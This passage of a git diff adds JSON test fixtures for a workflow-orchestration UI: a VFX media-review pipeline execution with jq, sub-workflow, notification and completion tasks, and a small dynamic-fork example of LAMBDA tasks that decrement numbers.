\"• *NOTES* - \\(desc(.))\" ] | join(\"\\n\")), sort_order: $entries | map(select($meta.version_name == .value.version_name))[0].key }, assetId: $a.assetId.id, assetVersion: $a.assetId.version })" + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.amp.updateMetadataAndAddTypes", + "taskReferenceName": "updateAssetComputedMetadata", + "inputParameters": { + "assets": "${assetAndComputedMetadata.output.result}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1579029014610, + "createdBy": "CPEWORKFLOW", + "name": "stl.amp.updateMetadataAndAddTypes", + "description": "This will update the metadata and add Type. The needed metadata and type should be the input", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["assets"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.amp.getAssetsTree", + "taskReferenceName": "assets_tree_2", + "inputParameters": { + "assetIds": "${prepareGetAssetsTasks.output.result}", + "derivatives": ["PROXY"] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1600451428431, + "createdBy": "CPEWORKFLOW", + "name": "stl.amp.getAssetsTree", + "description": "Get the full asset tree", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["assetIds", "derivatives", "relations"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "cpe-che-backend@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "assetAndManifest", + "inputParameters": { + "inputData": { + "assets": "${assets_tree_2.output.output}", + "entries": "${manifestResource.output.result.resourceContext.entries}" + }, + "expressions": [ + ". as $in | .assets | ", + "map(.assets | to_entries | ", + " { topLevelAssetId: map(select(.value.payload.type == \"PMR_REVIEW_VERSION\") | .value)[0].assetId, ", + " sgAmpRefId: map(select(.value.payload.type == \"PMR_REVIEW_VERSION\") | .value)[0] | \"\\(.assetId.id):\\(.assetId.version)\", ", + " reviewAssetId: map(select(.value.payload.type == \"IMAGE\" or .value.payload.type == \"PMR_REVIEW_PROXY\") | .value)[0].assetId, ", + " shotname: map(select(.value.payload.type == \"IMAGE\" or .value.payload.type == \"PMR_REVIEW_PROXY\") | .value)[0].payload.file.name, ", + " metadata: map(select(.value.payload.type == \"PMR_REVIEW_VERSION\") | .value.payload.metadata)[0] | { submission_note, version_name, scope_of_work, vendor, link, submitting_for, reason_for_review, sort_order}", + " }", + ")" + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "updateShotgunProcessingInProgress", + "inputParameters": { + "inputData": { + "resources": "${updateShotgunProcessingStart.output.result}" + }, + "expression": ".resources | map(. as $r | $r | .resourceContext.progress | map(if .name == \"SHOTGUN_UPLOAD\" then { name, status: \"IN_PROGRESS\" } else . end) as $p | $r * { resourceContext: ($r.resourceContext * {progress: $p}) })" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.updateResource", + "taskReferenceName": "updateResourceShotgunInProgress", + "inputParameters": { + "resources": "${updateShotgunProcessingInProgress.output.result}", + "pipelineId": "${pipelineData.output.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1576822186221, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.updateResource", + "description": "Update a pipeline resource", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId", "resource"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 3000, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "prepareShotProcessingAssets", + "inputParameters": { + "inputData": { + "assets": "${assets_tree_2.output.output}" + }, + "expressions": [ + ".assets | to_entries | ", + "map(.value.assets | to_entries | ", + " { topLevelAssetId: map(select(.value.payload.type == \"PMR_REVIEW_VERSION\"))[0].value.assetId | {id, versionId: .version}, ", + " sgAmpRefId: map(select(.value.payload.type == \"PMR_REVIEW_VERSION\"))[0].value.assetId | \"\\(.id):\\(.version)\", ", + " reviewAssetId: map(select(.value.payload.type == \"PMR_REVIEW_PROXY\" or .value.payload.type == \"IMAGE\"))[0].value.assetId | {id, versionId: .version}, ", + " shotname: map(select(.value.payload.type == \"PMR_REVIEW_VERSION\"))[0].value.payload.metadata.version_name, ", + " metadata: map(select(.value.payload.type == \"PMR_REVIEW_VERSION\"))[0].value.payload.metadata | {submission_note, version_name, scope_of_work, reason_for_review, vendor, link, submitting_for, sort_order}", + " }", + ")" + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "prepareShotProcessingTasks", + "inputParameters": { + "inputData": { + "reviewServer": "${reviewServerConfig.output.result.server}", + "reviewProjectId": "${reviewServerConfig.output.result.projectId}", + "vendorId": "${workflow.input.sgVendorId}", + "playlistId": "${playlistInfo.output.result.id}", + "playlistName": "${playlistInfo.output.result.code}", + "assetAndManifest": "${prepareShotProcessingAssets.output.result}" + }, + "expressions": [ + ". as $in | $in.assetAndManifest | map({topLevelAssetId, reviewAssetId, sgAmpRefId, shotname, reviewServer: $in.reviewServer, reviewProjectId: $in.reviewProjectId, vendorId: $in.vendorId, playlistId: $in.playlistId, playlistName: $in.playlistName, vendorName: \"${vendorDetails.output.vendorName}\", metadata: .metadata }) | ", + "{ taskDefs: map({type: \"SUB_WORKFLOW\", name: \"processshot\", taskReferenceName: \"processshot_\\(.topLevelAssetId.id)_\\(.topLevelAssetId.versionId)\", subWorkflowParam: { name: \"vfxmediareview.shotprocessing_v2\" }}), ", + " taskInputs: map({ key: \"processshot_\\(.topLevelAssetId.id)_\\(.topLevelAssetId.versionId)\", value: . }) | from_entries}" + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "asset_processing", + "taskReferenceName": "shot_processing", + "inputParameters": { + "taskDefs": "${prepareShotProcessingTasks.output.result.taskDefs}", + "taskInputs": "${prepareShotProcessingTasks.output.result.taskInputs}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "taskDefs", + "dynamicForkTasksInputParamName": "taskInputs", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "shot_processing_join", + "taskReferenceName": "shot_processing_join", + "inputParameters": {}, + "type": "JOIN", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "processedFiles", + "inputParameters": { + "inputData": { + "encodingResult": "${asset_processing_join.output}", + "uploadResult": "${shot_processing_join.output}" + }, + "expressions": [ + ". as $in | .uploadResult | to_entries | map(.value.result.upload_shot | { file: .filename, size: .file_size, labels: (if .skipped == true then [\"UPLOAD_SKIPPED\"] else [] end) }) as $ur | $in | .encodingResult | to_entries | map(.value | { file, message: .description, labels: (if .code == \"ENCODE_SUCCESS\" or .code == \"SUCCESS\" then (.file as $f | $ur | map(select($f == .file) | .labels)[0]) else [.code] + (.file as $f | $ur | map(select($f == .file) | .labels)[0]) end) })" + ] + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.titus", + "taskReferenceName": "updatePlaylist", + "inputParameters": { + "applicationName": "che/vfx-review-cli", + "version": "${NETFLIX_ENVIRONMENT}.latest", + "entryPoint": "python cli.py playlist -s \"https://${reviewServerConfig.output.result.server}\" -p ${reviewServerConfig.output.result.projectId} --action \"update\" --playlist-id ${playlistInfo.output.result.id} --playlist-status \"rev\" --contenthub-workspace-link \"${details.output.contenthubProjectUrl}/${pipelineDetails.output.submissionUri}\" --rc-conductor \"${CPEWF_TASK_ID}\"" + }, + "type": "TITUS", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1580327637347, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.titus", + "retryCount": 3, + "timeoutSeconds": 3600, + "inputKeys": [], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 90, + "responseTimeoutSeconds": 1200, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": true, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "updateShotgunProcessingCompleted", + "inputParameters": { + "inputData": { + "resources": "${updateShotgunProcessingStart.output.result}" + }, + "expression": ".resources | map( . as $r | $r | .resourceContext.progress | map( if .name == \"SHOTGUN_UPLOAD\" then { name, status: \"COMPLETED\" } else . end ) as $p | $r * {\"status\":\"COMPLETED\", resourceContext: ($r.resourceContext * {progress: $p}) } )" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.updateResource", + "taskReferenceName": "updateResourceShotgunCompleted", + "inputParameters": { + "resources": "${updateShotgunProcessingCompleted.output.result}", + "pipelineId": "${pipelineData.output.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1576822186221, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.updateResource", + "description": "Update a pipeline resource", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId", "resource"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 3000, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "cperequest_transition", + "taskReferenceName": "submissionProcessed", + "inputParameters": { + "namespace": "${pipelineData.output.request.request.namespace}", + "type": "${pipelineData.output.request.request.type}", + "requestId": "${pipelineData.output.request.request.id}", + "transitionName": "processed" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "updateTime": 1604373979513, + "updatedBy": "cperequest", + "name": "cperequest_transition", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "namespace", + "type", + "requestId", + "transitionName", + "currentState", + "currentVersion", + "assignee", + "clearAssignee", + "dueDate", + "clearDueDate", + "skipIfInState", + "transitionDetails" + ], + "outputKeys": ["request"], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "mce-workflow-infra@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.common.jq", + "taskReferenceName": "prepareRecipientDomainsForProcessingComplete", + "inputParameters": { + "inputData": { + "reviewServerConfig": "${reviewServerConfig.output.result}", + "domains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + }, + { + "domains": ["netflix.amp.domain.production_vfx"], + "partnerId": "${pipelineData.output.request.request.data.vendorId}", + "ignoreIfPartnerNull": true + }, + { + "profiles": ["PRODUCTION_VFX_ADMIN"], + "includeUsersWithProfile": true + } + ], + "fallbackDomains": [ + { + "domains": ["netflix.amp.domain.studio_vfx"] + } + ] + }, + "expression": ". as $in | $in.domains" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082387383, + "createdBy": "CPEWORKFLOW", + "name": "stl.common.jq", + "description": "Run JQ expression", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["expression", "inputData"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 120, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "sendProcessingCompleteEmail", + "taskReferenceName": "sendProcessingCompleteEmail", + "inputParameters": { + "emailType": "INTERNAL_EXTERNAL", + "domains": "${prepareRecipientDomainsForProcessingComplete.output.result}", + "additionalRecipients": [ + "vfx-media-review@netflix.com", + "e1u9g2p6u1b8e5x7@netflix.slack.com" + ], + "additionalUsers": [ + "${pipelineData.output.request.request.data.ownerUser}" + ], + "eventName": "EVENT_MESSAGE_VFX_REVIEW_SUBMISSION", + "eventType": "MESSAGE_VFX_REVIEW_SUBMISSION", + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "emailPayload": { + "movieId": "${pipelineData.output.request.request.data.movieId}", + "submissionId": "${pipelineData.output.request.request.data.submissionId}", + "submissionNodeId": "${pipelineData.output.request.request.data.submissionNodeId}", + "shotgunBaseUrl": "https://${reviewServerConfig.output.result.server}", + "shotgunProjectId": "${reviewServerConfig.output.result.projectId}", + "pipelineId": "${pipelineData.output.pipelineId}", + "subject": "Playlist ${pipelineData.output.request.request.data.submissionId} is ready for review!", + "playlistId": "${playlistInfo.output.result.id}", + "status": "SUCCESS", + "playlistReadyForReview": true, + "filesInSubmission": "${processedFiles.output.result}", + "manifestName": "${manifestDetails.output.result.manifestName}", + "manifestLink": "${pipelineDetails.output.submissionUri}&nodeIds=${manifestDetails.output.result.manifestNodeId}", + "manifestIncluded": "${manifestDetails.output.result.manifestIncluded}", + "vendorName": "${vendorDetails.output.name}", + "chProjectId": "${pipelineData.output.request.request.data.projectId}", + "oldCsv": "${oldCsv.output.result}", + "manifestWarnings": "${manifestDetails.output.result.displayWarnings}" + } + }, + "type": "SUB_WORKFLOW", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "subWorkflowParam": { + "name": "vfxmediareview.notification", + "version": 1 + }, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pegasus.processPipelineEvent", + "taskReferenceName": "processPipelineEvent", + "inputParameters": { + "assetType": "PMR_REVIEW_VERSION", + "downloadDescription": "Download of submission ${pipelineData.output.request.request.data.submissionId}", + "movieId": "${pipelineData.output.request.request.data.movieId}", + "pipelineType": "${pipelineData.output.request.request.type}", + "nodeIds": ["${submissionFolderProjection.output.downloadFolderId}"], + "relativePath": "vfxmediareview/${pipelineData.output.request.request.data.submissionId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1574880092269, + "createdBy": "CPEWORKFLOW", + "name": "stl.pegasus.processPipelineEvent", + "description": "Tell Pegasus Stargate that we have a node that is ready for download", + "retryCount": 3, + "timeoutSeconds": 300, + "inputKeys": [ + "assetType", + "downloadDescription", + "movieId", + "pipelineType", + "nodeId", + "relativePath" + ], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "cperequest_transition", + "taskReferenceName": "completeRequest", + "inputParameters": { + "namespace": "${pipelineData.output.request.request.namespace}", + "type": "${pipelineData.output.request.request.type}", + "requestId": "${pipelineData.output.request.request.id}", + "transitionName": "complete" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "updateTime": 1604373979513, + "updatedBy": "cperequest", + "name": "cperequest_transition", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": [ + "namespace", + "type", + "requestId", + "transitionName", + "currentState", + "currentVersion", + "assignee", + "clearAssignee", + "dueDate", + "clearDueDate", + "skipIfInState", + "transitionDetails" + ], + "outputKeys": ["request"], + "timeoutPolicy": "TIME_OUT_WF", + "retryLogic": "FIXED", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 1800, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "ownerEmail": "mce-workflow-infra@netflix.com", + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "stl.pipeline.complete", + "taskReferenceName": "completePipeline_SubmissionAccepted", + "inputParameters": { + "pipelineId": "${workflow.input.pipelineInput.pipelineId}" + }, + "type": "SIMPLE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "taskDefinition": { + "createTime": 1556082385940, + "createdBy": "CPEWORKFLOW", + "name": "stl.pipeline.complete", + "description": "Final task for all pipeline workflows", + "retryCount": 3, + "timeoutSeconds": 0, + "inputKeys": ["pipelineId"], + "outputKeys": [], + "timeoutPolicy": "RETRY", + "retryLogic": "EXPONENTIAL_BACKOFF", + "retryDelaySeconds": 60, + "responseTimeoutSeconds": 300, + "inputTemplate": {}, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 1, + "backoffScaleFactor": 1 + }, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + { + "name": "terminate", + "taskReferenceName": "SubmissionAccepted", + "inputParameters": { + "terminationStatus": "COMPLETED", + "workflowOutput": { + "outcome": "SUBMISSION_ACCEPTED", + "code": "SUBMISSION_ACCEPTED" + } + }, + "type": "TERMINATE", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + } + ], + "inputParameters": [], + "outputParameters": {}, + "failureWorkflow": "pipelines.vfxmediareview.failure", + "schemaVersion": 2, + "restartable": true, + "workflowStatusListenerEnabled": false, + "ownerEmail": "cpe-che-backend@netflix.com", + "timeoutPolicy": "TIME_OUT_WF", + "timeoutSeconds": 0, + "variables": {}, + "inputTemplate": {} + }, + "priority": 0, + "variables": {}, + "lastRetriedTime": 0, + "startTime": 1608153919527, + "workflowName": "pipelines.vfxmediareview", + "workflowVersion": 1 +} diff --git a/ui/e2e/fixtures/dynamicFork/externalizedInput.json b/ui/e2e/fixtures/dynamicFork/externalizedInput.json new file mode 100644 index 0000000..28f7ea4 --- /dev/null +++ b/ui/e2e/fixtures/dynamicFork/externalizedInput.json @@ -0,0 +1,427 @@ +{ + "ownerApp": "nq_mwi_conductor_ui_server", + "createTime": 1656008300448, + "status": "COMPLETED", + "endTime": 1656008301210, + "workflowId": "e66254b6-388d-43a6-b890-c518df832e51", + "tasks": [ + { + "taskType": "FORK", + "status": "COMPLETED", + "externalInputPayloadStoragePath": "task/input/c8569b00-62d9-4a4b-b918-93a4bf4e6004.json", + "referenceTaskName": "dynamic_tasks", + "retryCount": 0, + "seq": 1, + "pollCount": 0, + "taskDefName": "FORK", + "scheduledTime": 1656008300534, + "startTime": 1656008300525, + "endTime": 1656008300525, + "updateTime": 1656008300549, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "b49dc1be-66eb-4816-8ee1-6aaea25f14ba", + "callbackAfterSeconds": 0, + "outputData": {}, + "workflowTask": { + "name": "dynamic_tasks", + "taskReferenceName": "dynamic_tasks", + "inputParameters": { + "dynamicTasks": "${workflow.input.tasksJSON}", + "dynamicTasksInput": "${workflow.input.tasksInputJSON}" + }, + "type": "FORK_JOIN_DYNAMIC", + "decisionCases": {}, + "dynamicForkTasksParam": "dynamicTasks", + "dynamicForkTasksInputParamName": "dynamicTasksInput", + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -9, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 46, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "first_task", + "retryCount": 0, + "seq": 2, + "pollCount": 0, + "taskDefName": "first_task", + "scheduledTime": 1656008300535, + "startTime": 1656008300527, + "endTime": 1656008300922, + "updateTime": 1656008300628, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "6ce064a7-7ef3-413c-b6af-318cb7e6751e", + "callbackAfterSeconds": 0, + "outputData": { + "result": 45 + }, + "workflowTask": { + "name": "first_task", + "taskReferenceName": "first_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -8, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 234, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "second_task", + "retryCount": 0, + "seq": 3, + "pollCount": 0, + "taskDefName": "second_task", + "scheduledTime": 1656008300537, + "startTime": 1656008300529, + "endTime": 1656008300977, + "updateTime": 1656008300683, + "startDelayInSeconds": 0, + "retried": false, + "executed": false, + "callbackFromWorker": true, + "responseTimeoutSeconds": 0, + "workflowInstanceId": "e66254b6-388d-43a6-b890-c518df832e51", + "workflowType": "example_dynamic_tasks", + "taskId": "b936ea24-9c3e-4651-8702-2ff5aa4dd579", + "callbackAfterSeconds": 0, + "outputData": { + "result": 233 + }, + "workflowTask": { + "name": "second_task", + "taskReferenceName": "second_task", + "inputParameters": { + "number": "${number}", + "scriptExpression": "return $.number - 1;" + }, + "type": "LAMBDA", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [] + }, + "rateLimitPerFrequency": 0, + "rateLimitFrequencyInSeconds": 0, + "workflowPriority": 0, + "iteration": 0, + "subworkflowChanged": false, + "taskDefinition": null, + "queueWaitTime": -8, + "loopOverTask": false + }, + { + "taskType": "LAMBDA", + "status": "COMPLETED", + "inputData": { + "number": 12, + "scriptExpression": "return $.number - 1;" + }, + "referenceTaskName": "third_task", + "retryCount": 0, + "seq": 4, + "pollCount": 0, + "taskDefName": "third_task", + 